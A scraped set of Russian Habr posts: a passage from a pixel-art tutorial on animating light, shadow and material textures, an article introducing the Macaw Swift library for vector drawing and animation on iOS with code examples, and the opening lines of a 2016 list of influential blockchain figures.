дебрях формулировок, и даже не будем обращаться к помощи сети. У нас есть знания, полученные в предыдущих частях «галопа», и думаю, что их будет достаточно, чтобы сразу выйти на рубеж и начать там закрепляться, ведь бой будет жарким. Правда, перед тем как ринуться в окопы я бы хотел выдать вам оружие и напомнить, как им пользоваться. Вы помните, что у вас есть силуэт, глобальное освещение (на старте в виде цвета фона), точечное освещение (локальный источник освещения), отраженное освещение (имитация отраженного света на сцене). Всё это – ваши стволы. Ваш арсенал. Застывшие позы — дело прошлых статей, теперь вы ещё и стрелять сможете. Если представить кадры как патроны, то анимация вполне за очередь сойдёт. Анимации у нас сегодня будут самые разные, и на шесть, и на восемь, и на бог знает сколько кадров в обойме. Пусть светом бьет — Пусть он станет источником отваги, смелости родником живительного оптимизма который никогда не перестанет бить… — Лучше сказать струится. — Но родник, он бьет… Генрих Рамкопф и Якобина Мюнхгаузен «Тот самый Мюнхгаузен» Во избежание ошибок и недоразумений мы стартуем с довольно простых форм, делая сцены так, чтобы основной массив объектов был бы статичным. И пусть первым объектом, на котором мы отыграем партию света — будет куб. Но пусть этот куб не будет унылым. Пусть этот урок не будет заполнен шарами и сферами, сопроматом и той информацией, которая незамедлительно погружает читателя в сон. Пусть всё будет как всегда. Весело и незатейливо. Всё может быть простым. Но всё рано или поздно становится сложнее. Так или иначе. Мне кажется, что пиксель-арт, как и жизнь, имеет обыкновение усложнятся по мере следования пути. Здесь можно привести много аналогий. Мне нравится та, где у вас есть новая машина, и первые тысячи километров вы движетесь с хорошим темпом. Но затем может сломаться колесо, или что-то в машине. Вам понадобятся деньги на бензин. Вам нужны будут средства на питание, воду и другие предметы первой необходимости. Со временем ваше приключение может превратиться в довольно запутанный клубок нитей, в которых будет сложно разобраться, но прежде всего, важен первый шаг – встать с дивана. Повернуть ключ зажигания. И это легко. Порой это и стоит сделать. Невзирая на последствия. Тем не менее, оглянитесь сперва, нет ли вокруг людей, пусть последствия коснутся лишь вас и вашей машины. Следуя концепции простоты, призовём на помощь куб. И он станет отправной точкой в нашем пути. Так мы начнём изучать освещение и анимацию освещения. Предположим также, что мимо будет пролетать источник света. Начнет двигаться справа и будет двигаться налево. И давайте сразу прикинем, где он будет находиться. Хотя бы примерно. Чтобы понимать какие из граней куба будут подсвечены. В какой момент времени, и с какой интенсивностью. Парочку кадров отведем на ничего не деланье, и ещё парочку на «игру света». Свет будет падать на куб справа, а затем слева. Не каждый кадр должен сообщать зрителю анимацию. Но каждый кадр, даже без анимации должен сообщать зрителю информацию. Чтобы имитировать засветку от источника освещения возьмем прямоугольники идентичные плоскостям, которые мы бы хотели засветить. Цвет возьмем с фона, как самый яркий свет на сцене. И выставим ему прозрачность. 47% у такого слоя слева и справа. Ну а задержку у кадров выставим 0,5 секунд. Не тянет на шедевр. Понимаю и принимаю. Но всё с чего-то начинают. Видите лампочку? Она будет показывать нам, откуда идёт свет. Здесь у нас четыре кадра. Давайте попробуем увеличить количество кадров? Введём чуть больше плавности в нашу анимацию. Пусть их будет шесть. Вроде как лучше. Плавности больше. Но мы помним, что вся игра света достигается лишь цветом фона, наложенным поверх с разными уровнями прозрачности. Давайте попробуем добавить на сцену, вместо нашего простенького куба, хороший и качественный футуристичный контейнер. Думаю, что мы в состоянии нарисовать такой контейнер после уже прочитанного нами цикла статей. Теперь мы подложим наш нарисованный контейнер снизу под эти слои со светом. Как мы видим, иллюзия освещенности на объекте исчезла. Хотя, по правде сказать, её и не было. Пока что. Зададим себе вопрос. Почему это происходит? Почему свет выглядит как вата, как обычный цвет сверху ни капли не похожий на реальное освещение? И сами себе ответим – потому что на таком детализированном объекте должен быть другой свет. С учётом рельефа объекта, и с учетом цветов, которые на нём находятся. И давайте условимся ещё об одном. Свет и Цвет очень похожие слова. Но они не одинаковы. Чтобы имитировать работу света на объекте мы можем вручную сделать цвета светлее (это классический путь, где мы сами рисуем свет), но мы можем также автоматизировать нашу работу, наложив сверху те маски, что мы уже использовали до этого. Для нашей ваты. Только заменив тот цвет, на цвет белый с режимом наложения Overlay. Значительно лучше. Однако в данном случае свет падает плоскостью на весь объект целиком, без учета мелкого рельефа объекта. Всего несколько полос света на продольных пазах дадут легкую иллюзию объемности этого объекта. Ну и раз уж мы расщедрились на несколько линий (причём действительно линий, а не бог знает чего, вроде хорошего пиксель-арта) то, пожалуй, добавим к этому ящику ещё несколько контейнеров и какого-нибудь персонажа. Мы похулиганили. Форсировали силуэтные работы и задали на сцене общую композицию. А теперь давайте ненадолго отвлечемся от этой сцены, чтобы наши глаза отдохнули и подумаем над тем, как нам сделать анимацию света исходя из того, что наш объект не просто ящик, но нечто более рельефное. Нечто объемное. Нам нужен сложный объект. Обещаю вам, мы обязательно вернемся к нашему парню. Правда, с новым оружием. И обязательно его добьем. Запомним лишь, что сейчас мы «били плоскостями», т.е. сделали анимацию, рассчитанную на освещение плоскостей. Пусть свет струится — Но родник, он бьет. — Иногда бьет, а иногда струится. В данном случае лучше, чтобы он струился. Генрих Рамкопф и Якобина Мюнхгаузен «Тот самый Мюнхгаузен» Как всегда обрисуем грядущее свершения в виде словесного алгоритма, но в отличие от диванных теоретиков и знатоков терминологии, доведём его до логического конца. В нашем случае это не будет поджогом дивана, ибо диван это не мебель, но состояние души. Наш логический конец мы предполагаем в виде анимированной миниатюры. Чтобы не усложнять себе жизнь, мы определим, что будущая миниатюра будет включать в себя шесть кадров и восемь цветов. Потому как нужда — двигатель хорошего пиксель-арта. Только будучи голодными, располагая крохами цветов, мы сможем познать голод и сможем быть искренними. Сможем сделать малым многое. Некоторые любят коверкать это утверждение. Дескать, больше цветов – больше возможностей. Вранье. Больше цветов – больше путей запутаться. Больше цветов – больше возможностей совершить ошибку. И так, между прочим — больше слов, значит больше таких вот еретических текстов наполненных блудливыми мудрствованиями вместо пиксель-арта. Больше ещё не означает лучше, и данное положение верно во множестве случаев, от художественно-эстетических до повседневно-практических. Безусловно, после познания нищеты и голода, подстегивающих нашу фантазию, неплохо бы и обогатиться, чтобы затем плевать и получать удовольствие, но лишь после. Итак. Давайте начнем с эскиза. А точнее с силуэта. Мы всё это проходили десятки раз и потому сегодня не станем тратить на это более десятка минут. Пусть это будет гонщик. На мотоцикле. И пускай это будет будущее. Просто потому, что неохота рисовать колеса, а затем их анимировать. Да, еще одно «и». И пускай свет на нашей анимации струится. Обтекает объект по краям, словно тот самый ручей. Силуэт говорит сам за себя. По крайней мере, можно понять, что речь идёт о седоке. На чем-то. Без колес. Согласно нашей ленивой вводной. Давайте всё-таки обозначим седока более явно. И добавим силуэту читаемости. Начнём мы не со света, но с тени, оставив свет на самое сладкое. Мне показалось, что сапоги будут ему впору. Но не будем останавливаться на достигнутом. Здесь есть база, а нам нужен дополнительный рельеф. Именно на нём будет играть наш свет в будущем. Сапоги… когда я нарисовал сапоги мне подумалось, что персонаж напоминает мне героя Роберта Патрика. Терминатор Т-100 в полицейской форме. Чтобы дополнить этот образ стоит добавить ряд деталей. Вроде желтой полосы на штанах, и надписи «Police» на борту нашего футуристичного мотоцикла. Надпись хорошо помогает идентифицировать объект, в том случае если руки художника произрастают из непредназначенных для этого мест. По удивительному стечению обстоятельств надписи же помогают сделать любой техногенный дизайн более осознанным, сообщая зрителю техническую информацию об объекте, делая его достоверным. Уже лучше. Кое-какой свет. Кое-какая тень. Но всё статично. Мертво. Неподвижно. Как бы нам не сильно напрягаясь обозначить некое движение на сцене? Давайте сделаем это в духе старого кино. Где герои сидят в машине, а вокруг бегают люди с ёлками. В нашем случае ёлками будут фонари, которые будут двигаться позади «наездника». Ну и раз у нас тут движение, давайте подрисуем пару пикселей к тени, чтобы она нелепо подергивалась. Мы наконец-то добрались до дела. Всё остальное было разминкой. Обычным и рутинным делом за вычетом создания дизайна для техники. Сейчас начнётся то, что ряд читателей называет «магией десяти минут». Этот феномен происходит обычно после нескольких часов работы (не в данном случае, разумеется) когда зритель зевает на стриме и вдруг, ближе к концу изображение оживает, а в последние десять минут наполняется интересными мелочами и деталями. Феномена, по счастью нет. Это называется другими словами. Работа и закономерный результат прямо пропорциональный количеству вложенного труда. Если вы несколько часов полеживали на диване или ковырялись пальцем в носу, то «магии десяти минут» не будет. Получится разве что магия десяти лишних кило, равно пропорциональная количеству часов и дней, проведенных в блаженном бездействии. Свет падает на нашего офицера сзади. А потому он будет задевать его лишь по кромке, как если бы мы смотрели на лезвие ножа, будучи в темной комнате, а источником света в ней была бы открытая дверь. Грань ножа, обращенная к нам, не отражала бы свет. Но на кромке заостренного лезвия была бы заметной игра света. В один или два миллиметра. В нашем случае свет будет распределяться по объекту линией в один пиксель. Очевидно, что наибольшая концентрация света будет находиться в непосредственной близости от источника освещения. Для того чтобы это понять не нужно быть доктором наук, или учиться в техническом вузе. И в «замедленной съёмке» видно как этот свет падает на объект. Взглянув на объект при нормальной скорости проигрывания, мы видим, что это более или менее похоже на работу света в реальности. Настолько насколько термины реальности вообще могут быть применимы к пиксель-арту, когда рабочее полотно занимает всего 250х120 пикселей. Теперь стоит сделать свет куда более объемным, чем прежде. Помните, что было до этого? Анимация света по кромке. Бак объемный, и свет должен распределяться иначе. Да и другой рельеф тоже должен играть следующим образом: Теперь нужно обозначить блики. Всего в один цвет. У нас их мало. Обозначить так, чтобы они подчеркивали игру света на рельефных частях объектов. Трубках, выпуклых пазах мало понятно назначения на корме, и кромках объектов. Давайте сделаем укрупненные примеры того как работает свет на выпуклостях. Если приглядеться – всё очень просто. Вся информация о свете передается всего двумя цветами. Вся информация передается за счёт небольшого количества пикселей. Это не так уж и трудно. Подытожим первые две главы. Хотя… что за вздор? Мы можем и должны сделать эту сцену лучше. В ней не хватает жизни. Нет динамики. Думаю, что развевающийся шарф и обновленный шлем нам подойдут куда более чем переход к итогам первых двух глав. Пусть свет на шлеме играет ярко и гордо, ведь всё-таки он наиболее близок к источнику света. Динамика есть, но её все ещё мало. Давайте будем покачивать нашего джентльмена на стальном коне, вверх вниз. В общем и целом лучше, чем было. Но… всё равно суховато. И верно. Ведь статья у нас об игре света и тени. Дуэт, как мы заявили ранее. А здесь я вижу лишь одно. Соло. Тень представлена крайне скудно. Давайте повторим силуэт нашего офицера, закрасим его одним цветом и исказим так, чтобы создавалась иллюзия, что на каждом кадре тень от объектов располагается в соответствии с положением источника освещения. Уже неплохо. Но есть один нюанс. Чувствуете рывок в первом и восьмом кадрах? Нет плавности в анимации. Тень резко исчезает в конце восьмого кадра и не менее резко появляется в первом. Что делать? На помощь придёт прозрачность. Ближе к начальному и конечному кадру анимации стоит ослабить интенсивность тени. У меня даже обоснование найдется. По мерее удаления от источника освещения тень бледнеет и размывается, потому, как направленный источник освещения исчезает и остается лишь один тип освещения. Глобальный. Как в пасмурную погоду. Делает он это, к сожалению, лишь в одну сторону, но… это жертвы на которые приходится идти имея анимацию на шесть кадров. Мы потому и выбрали столь малое их количество. Потому что эта анимация вызов нам же. Вызов самим себе. Научиться быть лаконичными. Помните нашего парня из первой главы? Мы обещали к нему вернуться. Отводить третью главу, чтобы ручей бил и струился в одно и то же время, было бы расточительным. Мы остановились на том, что мы сделали анимацию света для ящика в центре сцены. Думаю, что стоит добавить тот объект, что на самом деле источает этот свет. Негоже ему летать как духу. Кроме того, добавив машину, мы скроем часть кадров в нашей небольшой анимации. Это даст нам возможность работать всего с несколькими кадрами. Теми кадрами, что могут быть названы информативными. Машина есть – пусть едет теперь. «Кольчужка» оказалась коротковата. Иногда размер всё-таки имеет значение, чтобы люди не говорили. Во-первых, уберём иконку света, наш летающий значок помогавший нам понять откуда бьет свет. И давайте удлиним машину. В анимации она ощущается коротким обрубком, а нам нужно то, что называется «положительной динамикой» на сцене. Уже лучше. Добавим отражение под машиной. И добавим небо. Всего в один цвет. Иногда достаточно пары штрихов чтобы изображение стало законченным. Правда, это не тот случай. Близкий к нему, но не тот. Мы получили воздух в нашей сцене. И это точка, где можно было бы завершить нашу работу в рамках первых двух глав. Однако всегда есть что доделать. И иногда бывает случай обратный описанному парой строк выше. Когда той самой пары штрихов — не хватает. Не хватает для того чтобы неплохое… стало, наконец, хорошим. Грань эта тонка и неуловима. Однако мы попытаемся её нащупать. И только так это можно сделать. Опытным путём. При прочем добавленном мы не продолжили работать со светом. Упражнение с офицером дало нам понимание силы контрового света, которое обтекает объекты по краям. Будет неплохо добавить её и здесь. К той анимации плоскостями на гранях куба, которую мы делали до этого. Мы «пробьем» светом края контейнеров, термос и самого персонажа. Я обещаю не заостряться на этом долго. У нас и кроме этого есть дела. Всё будет сделано тонкими линиями шириной в один пиксель. Теперь стоит поработать с другими выпуклостями. Точно также в один пиксель. Кадров, когда объекты на заднем плане видимы не так уж и много. Если сделать на гранях объектов явные световые акценты, яркие и сочные, то из-за малого количества кадров на видимых нам объектах эти линии будут словно вспышки молний. Нужно быть осторожными и не «светить зрителю в глаза» больше необходимого. Поэтому теперь «пробьем» краску на контейнерах. Также по краю. Также контейнеры имеют щели, и потому мы обозначим и их, словно свет пробежался по кромке стали. Давайте обработаем теперь те грани объектов, которые остались нетронутыми. Пусть свет живет и двигается на них заранее, возвещая появление фар машины на сцене до её появления и провожая их, когда машины на сцене уже нет. Это неверно с точки зрения распределения света по поверхности, но иногда (довольно часто) отрицать законы реальности полезно. В угоду художественному образу. Последний аккорд это спецэффекты. Несколько кадров «следа света» от фар. Как если бы всё это было заснято на видео. Затем чуть более яркое свечение от фар, когда техника попадает в центр кадра и чуть более светлое небо. Всего по чуть-чуть. Как если бы мы добавляли в блюдо приправы, перец и соль. Вот и все эффекты. Ну и, конечно же, контраст. Чаще всего я работаю с изображением в приглушенном контрасте. Чтобы глаза беречь. Когда вы работаете с изображением много часов подряд глаз замыливается не только по части деталей, но и по части цвета. Какие выводы мы можем сделать на основе первых двух упражнений? Давайте оформим их в виде списка, который может быть использован затем в виде памятки: • Свет имеет радиус, с точками максимальной и минимальной освещенности. По мере удаления от эпицентра света его интенсивность падает до тех пор, пока свет не исчезнет совсем. • При падении на объект свет повторяет его форму и подчеркивает объем. • Свет не обязательно должен быть реалистичен. Сущности реального мира далеко не так интересны, как сущности вымышленные, гипертрофированные или гротескно преумноженные. Точно также как и в случае гротескных форм, свет может быть «преувеличен». • Как в случае анимации форм, анимация света должна быть плавной, не раздражающей глаз зрителя за исключением частных случаев. • Анимировать свет, как и в случае создания изображения, лучше начинать с базовых световых акцентов (световых пятен), и только после удовлетворительной работы основных акцентов стоит перемещаться в сторону мелкой детализации. • В случае малого количества кадров и при наличии крупного объекта, стоит подумать на каких частях объекта будет расположена мелко-детализированная работа света, которая компенсирует общую грубость света глобального. Не всё золото, что блестит Я очень люблю наш богатый язык за то, что им можно играть. Можно играть как словами и оборотами речи, так и трактовать что угодно… и как угодно, придавая одним и тем же выражениям в контексте самые разные смыслы. Тоже верно и для анимации. Можно играть формами, объектами, светом, тенью и цветами. Как вам заблагорассудится. И каждая партия – будет особой. Один пиксель, всего одна точка могут, и будут, менять всё изображение в целом, будучи проставленными в нужном месте. Когда я писал статью, мне нужно было дописать финальную её часть, но в этот момент вырубилось электричество. Мне ничего не оставалось, кроме как «писать» её в голове, сидя в полутьме и проклиная свою маниакальную привязанность к компьютеру. Вот такое смс-сообщение я отправил своему другу в ответ на обеспокоенность, в связи с исчезновения моей персоны из сети: — Я ж статью писал! Отними у меня комп… я ж никто! А так, хоть некто с компом. Всего одна буква меняет смысл этого депрессивного сообщения. Точно также и с пикселями. И когда сырой набросок обретает форму, а скомканная мелодия обретает гармонию, несколько удачных точек превращают изображение в то, что нужно. Здесь важно внимание к мелочам. И вот как раз об одной из таких мелочей я бы хотел поговорить, подытоживая очередную часть «галопа». Всем нам известно, что по разным поверхностям свет распределяется по-разному. На резине свет не особо заметен, на металле ярко играет бликами, если металл чистый. Играет тускло, если металл не первой свежести (к примеру, покрыт ржавчиной). Игра света на разных объектах зависит от того материала из которого они сделаны. Уровень отражения света у разных материалов разный. Стекло и грязное стекло, бумага или глина, металл и пластик — все они принимают освещение по-разному. С разной степенью радушия, и с разной отдачей в виде отраженного света. Давайте попробуем оформить это в виде небольшого мини-урока. Представим, что на столе лежат два компакт-диска со звуковыми дорожками к сериалу «Lost». И нет, это не реклама сериала. И «нет» под номером два, это не CD-диски, но их чехлы, так как болванки обычно выглядят идентично. Пусть это будут их упаковки. Мы исходим из того, что правая обложка это глянцевый материал, ну а левая обложка больше напоминает матовую поверхность, которая поглощает свет и не дает ярких отражений. Правая обложка имеет помятости на краях, ну а левая выполнена с линейным тиснением, что еще больше изменяет внешний вид материала. Таким образом, мы попытаемся имитировать разные материалы, чтобы показать, что свет может и должен распределяться по-разному. Скажу вам честно. Большинство пиксель-артистов отрицают этот элемент визуализации. Во-первых, частенько артистами игнорируется тень в пределах самого объекта. Т.е. объект сразу рисуется со светотенью и анимируется только направленный свет. Во-вторых, частенько игнорируется работа с разными материалами в пределах одного объекта. Это дорого в производстве, за исключением случев, когда где-то на объекте или персонаже присутствует стекло или поверхность с сильным уровнем отражения. В этом случае рисуется быстрый блик и дело с концом. Тому, безусловно, есть причины. Продолжительность нашей жизни не так уж высока, чтобы заниматься глубокой эстетикой без веских на то причин. Контент для игр требуется изготавливать быстро, по возможности не усложняя себе жизнь. Однако сегодня мы, в качестве образовательного материала, всё же коснёмся этой темы. Для начала нарисуем «шар света». Радиус с точкой максимальной яркости и точкой полного отсутствия света. Что-то вроде фонаря сверху, или абстрактной лампочки. Нам не до эстетизма. Нам нужно понять, как визуализировать разные материалы в пиксель-арте. Ну и между делом, ещё и в виде анимации. Так что эстетизм мы даже не высадим на следующей остановке. Он просто не сядет рядом с нами. Сразу. И да, это расизм. Безусловно. Но сегодня я спешу. Новый Год близко. А я обещал выпустить эту статью ещё несколько месяцев назад. Так что шары в руки. Уже знакомый нам приём, когда мы накладываем маску света через режим. И перемещаем её в пределах девяти кадров так чтобы свет двигался более или менее плавно. Мы условились, что правая обложка глянцевая, ну а левая матовая. Так что нам, по крайней мере, стоит повысить уровень освещенности справа, и понизить его слева. Словами герцога из уже упоминавшегося сегодня фильма: — Может стоит, все-таки, в данном случае поднять верх сверху и понизить низ снизу? Герцог «Тот самый Мюнхгаузен» Мы предполагаем, что темное на обложках это краска, нанесенная на обложку. Краска, как не странно имеет объем, если приглядеться к реальным объектам. А объекты старые склонны деформироваться со временем из-за чего свет на них распределяется неровно. Давайте сделаем такое неровное распределение света на правой обложке. Искажение формы и последующее искажение света заметно не везде. Как в реальности. Что-то стареет быстрее, что-то медленнее. Куда-то попала капля воды и бумага набухла, где-то влаги не было и это было для обложки великим благом. Предположим также, что правый диск был наиболее часто используемым. И поэтому край обложки загнулся. Раз это произошло, стоит показать светом, что бумага выгнута. Стало быть, свет на ней задержится ненадолго. Похулиганили и хватит. Это был всего лишь образовательный приём. Давайте снабдим обложку кантиком в один пиксель и добавим линейных бликов для того чтобы правая обложка отличалась от левой обложки радикальным образом. Займемся теперь левым диском. Он у нас тоже тисненый и тоже рельефный. Вот на нём мы оторвемся по полной программе. Пусть свет гуляет по всему периметру трафаретного изображения. Давайте даже кое-где его поцарапаем. Пусть там будет легкий линейный блик. И давайте сделаем так, что бедную «ногу» на постаменте совсем выгнуло. Пусть там будет явная впуклость, и пусть свет там играет наиболее ярко. Сказано сделано. Матовый материал предполагает более широкую засветку. Т.е. плоскость должна освещаться более сильно, чем в случае глянца. Пусть обложку заливает светом, словно водой. И последний штрих. Самый долгий. Нам нужно добавить на краевых кадрах фактуры. Чтобы дать иллюзию того самого тиснения. И вдобавок, пусть в тот момент, когда свет проходит непосредственно над обложкой на ней появляется чётко заметный линейный штрих. Тот самый, что мы могли видеть в первой части галопа пикселя, когда я показывал приём с потертым металлом. Дело в том, что штриховки и паттерны также могут использоваться анимациях. В частности, для того чтобы сообщить зрителю о другом характере поверхности объекта. Эти эксперименты очень увлекательны. И порой, как я и говорил ранее, последний штрих преображает картинку кардинальным образом. Согласитесь, что теперь они, действительно выглядят по-разному. И это заслуга именно штрихов, а не чего-либо ещё. Да, мы притушили свет, да мы изменили радиус засветки, но всё это было бы бесполезно, если бы мы не сообщили зрителю информацию о фактуре нашего объекта. Давайте напоследок взглянем на этот объект ближе. Чтобы увидеть те мелкие детали, что могут быть незаметны на первый взгляд. Это то, что я называю хорошим эффектом. Видите, как на краях играет фактура? Крестовая штриховка соседствует с линейной штриховкой, и в динамике они дают довольно забавный эффект. • Мы можем передавать информацию о разных материалах за счёт разной степени освещенности элементов и цвета этих элементов, в том случае если хочется получить более серьезный эффект. • Характер поверхности (фактуру) можно визуализировать за счёт разных штриховок и паттернов. Достаточно лишь сообщить световую информацию по определенной маске, или нарисовать эту информацию вручную. Хочу отметить одну вещь, и считаю это важным моментом. Эффект или спецэффект хороши лишь в том случае если зритель их не видит. Воспринимает как нечто естественное. Взрывы, искры и другая пиротехника… всё это прекрасно. Но истинная магия начинается, когда наблюдатель просто радуется изображению и не заостряет своё внимание на отдельно взятом элементе изображения. Это означает, что все элементы вашей сцены находятся в гармонии между собой. Вам не обязательно безумствовать и покрывать всю вашу сцену ультра анимацией света. Вы можете выбрать какой-то элемент и сделать на нём акцент, оставив всю остальную сцену заполненной статичным, не двигающимся освещением, как я сделал в своём маленьком «Bemidji Project» по мотивам известного телесериала «Fargo». Всего одна табличка играет на свету, но как я понял по отзывам публики, этого оказалось вполне достаточно. Именно об этом я и пытался сказать. Иногда мелочи достаточно, что бы поставить на работе финальный штрих. Эпилог Здесь мы с вами попрощаемся. Надеюсь, что ненадолго. И надеюсь, что год грядущий будет богаче на публикации. Обещать ничего не стану, но классически скажу огромное спасибо моим патронам с ресурса Patreon. Без них эта статья вряд ли была бы возможной. Как и в прошлый раз приведу список замечательных людей, что волокли меня на себе сквозь долгие месяцы радиомолчания. Игорь Гриценко, Матей «Retronator» Ян, Калам, Хови Дей (Howie Day), Павел Бартчук, Глеб Рукашников, Александр «Ля-Бестия» Андреев, Росс Вильямс (Ross Williams), Веслом По, Стас Гальюнас, Икс-Раст (xRust), Николай Изодеров, Антон Решетников, Олег и Фернандо Эзра (Fernando Esra) В качестве постскриптума отмечу, что статью опять пришлось урезать вдвое. И получается так, что второй части статьи, посвященной анимации света и тени – быть. Она не обязательно будет следующей, но рано или поздно состав, затерявшийся в пути доберется до Хабра. В этом у меня сомнений нет. Всем спасибо за внимание, за ваше время и… с Наступающим вас. P.S. В рамках поддержки статьи прошел стрим. К сожалению в этот раз мы не добрались до анимации, ибо времени было немного. Однако мир стал богаче на ещё один пиксель. Запись четырехчасового стрима можно найти здесь: www.twitch.tv/weilard/v/110577402 Ну а результат выглядит следующим образом. И теперь я действительно вас покидаю. Увидимся после Нового Года. На некоторые комментарии, если они будут, я отвечу ещё сегодня. Ещё раз спасибо. Бункер герр Текста Заметка первая , классически оправдывающаяся. Статья как обычно вышла существенно толще, чем планировалось, поэтому половину пришлось отрезать и оставить на будущее. Материал в части публикации был сырым и нуждался в существенной доработке. У меня, к сожалению, часто получается так, что я пытаюсь впихнуть в одну статью всё, что только можно описать. А потом ещё с месяц отрезаю ломти мяса. В этот раз всё пошло по обычному сценарию. Сначала набор веса – потом принудительная липосакция. Была продвинутая анимация теней, и кое-какие наработки по свету, но… лучше меньше, но качественнее, чем пытаться брать объемом. Это не лесоповал. Заметка вторая , не поддерживающая. В этот раз я не могу себе позволить поддержку статьи в течение полутора суток, как это обычно бывало. Это требует времени, которым я не располагаю. У меня осталось часов восемь свободного времени, куда нужно впихнуть сон, и куда нужно впихнуть хотя бы немного отдыха. Помимо сна. Всем известно, что я игрок, и игрок увлеченный. Можно сказать заядлый. Заниматься играми удается редко. К сожалению. И если есть возможность раскатать партию в «Stellaris»… Заметка третья , разработчицкая. Последнее изображение, это скриншот игры над которой я работаю в свободное время. Отличительная особенность его не в анимации, и даже не во внешней похожести на графику игр «Westwood Studios», но в том, что для того чтобы сделать даже маленькое демо мне пришлось учиться примитивному программированию. Для программистов эта маленькая гордость будет смешной, ибо это всего лишь скрипты, но для меня… и одна строчка работающего кода — достижение. Заметка четвертая , снова оправдывающаяся. Инфо-Сфера не работает. Будет введена в строй после Нового Года. История изменений: 29 декабря 2016 года, 6:18 MCK (правка опечаток)
https://habrahabr.ru/post/318678/
habrahabr
Насколько удобным может быть API для рисования в iOS?
['ios development', 'swift', 'core graphics', 'macaw']
Здравствуйте, меня зовут Виктор, я работаю в компании Exyte. Недавно мы выложили в open source нашу внутреннюю разработку — библиотеку для работы с векторной графикой и ее анимации Macaw. Я хочу...
Здравствуйте, меня зовут Виктор, я работаю в компании Exyte. Недавно мы выложили в open source нашу внутреннюю разработку — библиотеку для работы с векторной графикой и ее анимации Macaw . Я хочу поделиться впечатлениями от применения ее в реальном проекте и рассказать о ее преимуществах над нативным API. Как разработчикам, нам часто приходится создавать нестандартные контролы и повторять одни и те же рутинные действия даже для простых эффектов: Отнаследоваться от UIView, чтобы переопределить drawRect Описать "сцену" используя устаревший Core Graphics API Давайте попробуем создать нестандартный контрол и используем его как пример: let circlePath1 = UIBezierPath( arcCenter: center, radius: r, startAngle: offset, endAngle: offset + CGFloat(angle), clockwise: true) let circlePath2 = UIBezierPath( arcCenter: center, radius: r, startAngle: offset, endAngle: offset + CGFloat(angle), clockwise: false) UIColor.init(colorLiteralRed: 0.784, green: 0.784, blue: 0.784, alpha: 1.0).setStroke() UIColor.clear.setFill() circlePath1.lineWidth = 10.0 circlePath1.stroke() UIColor.white.setStroke() circlePath2.lineWidth = 10.0 circlePath2.stroke() Мы решили избавиться от этой рутины и создали Macaw. С помощью нее мы можем описать сцену выше в простом, функциональном стиле: let circle = Circle(cx: Double(center.x), cy: Double(center.y), r: r) self.node = [ circle.arc(shift: -1.0 * M_PI_2, extent: angle) .stroke(fill: Color.rgb(r: 200, g: 200, b: 200), width: 10.0), circle.arc(shift: -1.0 * M_PI_2 + angle, extent: 2 * M_PI - angle) .stroke(fill: Color.white, width: 10.0) ].group() Слева: Core Graphics, справа: Macaw Как видите, сцена представлена в виде модели, которая может быть легко переиспользована или изменена. Например, используя ноду Group, можно создавать большие иерархии объектов с относительными характеристиками (позиция, прозрачность и.т.д) let sceneNode = [ shape1, shape2, ... [ subshape1, subshape2 .... [...].group() ].group(place: Transform.move(dx: 10.0, dy: 10.0).scale(sx: 0.5, sy: 0.5), opacity: 0.9) ].group() Сложно даже представить сколько потребуется усилий, чтобы создать подобную сцену, используя "чистый" Core Graphics API. Чтобы использовать эту красоту, достаточно просто отнаследоваться от MacawView, или использовать MacawView как контейнер. После этого начнется "магия" из коробки, например, изменения модели автоматом стриггерят перерисовку контента. Но чтобы создать красивый эффект, нужна еще одна вещь — анимация. Используя Core Graphics, у нас есть два пути: CAShapeLayer в комбинации CABasicAnimation. Это достаточно просто, но код, все же, выглядит устаревшим: let scaleTransform = CGAffineTransform.init(scaleX: 0.1, y: 0.1) let scaleAnimation = CABasicAnimation(keyPath: "transform") scaleAnimation.toValue = CATransform3DMakeAffineTransform(scaleTransform) scaleAnimation.duration = 1.0 scaleAnimation.timingFunction = CAMediaTimingFunction(name: kCAMediaTimingFunctionEaseOut) scaleAnimation.autoreverses = true self.layer.add(scaleAnimation, forKey: "scale_animation") Использовать коллбэк от CADisplayLink, для того, чтобы вручную перерисовать контент UIView. Но, как разработчику, мне не хочется уходить в такие крайности для простого эффекта. Используя Macaw, подобная анимация создается гораздо приятней: let scaleAnimation = self.node.placeVar.animation(to: GeomUtils.centerScale(node: self.node, sx: 0.1, sy: 0.1), during: 2.0).easing(.easeOut) scaleAnimation.autoreversed().play() Да, это весь код. Есть ли оверхэд по сравнению с "чистым" Core Graphics? Под капотом Macaw использует CAKeyframeAnimation, и требуется небольшое время (зависит от сложности модели) для расчета фреймов анимции. В остальном — это те же вызовы Core Graphics. Хорошо, а как на счет анимации для контента сцены. Есть ли возможность анимировать состояние объектов модели или анимированно заменить все дерево модели? К сожалению, нет возможности как-то оптимизировать этот процесс, единственное решение -перерисовать всю модель вручную. Хорошая новость — у Macaw для этого есть очень удобное API. Давайте отрефакторим код нашего контрола так, чтобы создавать дерево объектов было проще: contentNode(angle: Double) -> [Node] { ... let circle = Circle(cx: Double(center.x), cy: Double(center.y), r: r) let text = Text(text: "\(value)", font: Font(name: "System", size: 38), fill: Color.white) let textCenter = GeomUtils.center(node: text) text.place = Transform.move(dx: Double(center.x) - textCenter.x, dy: Double(center.y) - textCenter.y) return [ text, circle.arc(shift: -1.0 * M_PI_2, extent: angle) .stroke(fill: Color.rgb(r: 200, g: 200, b: 200), width: 10.0), circle.arc(shift: -1.0 * M_PI_2 + angle, extent: 2 * M_PI - angle) .stroke(fill: Color.white, width: 10.0) ] } ... self.node = contentNode(angle: angle).group() Теперь мы можем создать анимации контента, заменяя контент поддерева внутри модели каждый кадр: guard let rootNode = self.node as? Group else { return } rootNode.contentsVar.animate({ t -> [Node] in return self.contentNode(angle: 2 * M_PI * t) }, during: 2.0) Даже если сцена будет сложной, во время анимации перерисовываться будет только область изменяемого нами поддерева. Как видите, используя Macaw, мы можем достичь производительности "чистого" Core Graphics, но с более читаемым и легче поддерживаемым кодом. Многое осталось не разобранным, но надеюсь, что этот обзор воодушевит вас на использование нашей библиотеки в вашем проекте. Мы постоянно работаем над улучшениями и будем рады вашим советам и помощи.
https://habrahabr.ru/post/318684/
habrahabr
Наиболее влиятельные фигуры Блокчейн-сообщества 2016 года
['Рейтинг', 'блокчейн', 'Биткойн', 'бизнес', 'персоны', 'Wirex']
В этом материале, посвященном уходящему 2016 году, перечислены наиболее влиятельные представители мира Блокчейн. Рейтинг основан на результатах опроса издания CoinDesk, в котором приняли участие...
